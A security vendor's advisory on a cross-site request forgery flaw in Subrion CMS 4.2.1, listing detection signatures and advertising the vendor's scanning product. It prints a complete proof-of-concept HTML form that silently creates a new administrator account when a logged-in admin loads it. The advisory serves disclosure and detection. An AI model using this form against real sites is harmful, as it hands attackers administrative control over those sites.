Application Details
Subrion is an open source PHP/My SQL content management system, and framework, that allows websites to be built for any purpose. From blogs to corporate portal.
Vulnerability
Subrion CMS is vulnerable to cross-site request forgery, caused by improper validation of user-supplied input.
Identification
By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to add more users to the system. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities.
<html>
<body>
<form action="http://localhost/subrion/panel/members/add/" method="post" enctype="multipart/form-data">
<input type="hidden" name="__st" value="YNXrr7MjSY0Qi0JYISJ7DRuC9Gd1zxPYwjHcFKVh" />
<input type="hidden" name="username" value="Aryan" />
<input type="hidden" name="fullname" value="AryanChehreghani" />
<input type="hidden" name="email" value="aryanchehreghani@yahoo.com" />
<input type="hidden" name="_password" value="Test1234!" />
<input type="hidden" name="_password2" value="Test1234!" />
<input type="hidden" name="usergroup_id" value="1" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="biography" value="" />
<input type="hidden" name="facebook" value="" />
<input type="hidden" name="twitter" value="" />
<input type="hidden" name="gplus" value="" />
<input type="hidden" name="linkedin" value="" />
<input type="hidden" name="email_language" value="en" />
<input type="hidden" name="sponsored" value="0" />
<input type="hidden" name="featured" value="0" />
<input type="hidden" name="featured_end" value="2022-03-09 12:03" />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="save" value="1" />
<input type="hidden" name="goto" value="list" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>Detection
By turning this vulnerability into traffic files and matching rules, we are able to detect attempts to create an admin user via CSRF.
Coverage
Idappcom has created signatures 8022476 and 8022477 along with traffic files.
References
Subrion CMS 4.2.1 - Cross-Site Request Forgery (Add Admin) - Exploit Database
Subrion CMS 4.2.1 Cross-Site Request Forgery - Packet Storm Security
Traffic IQ
If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional
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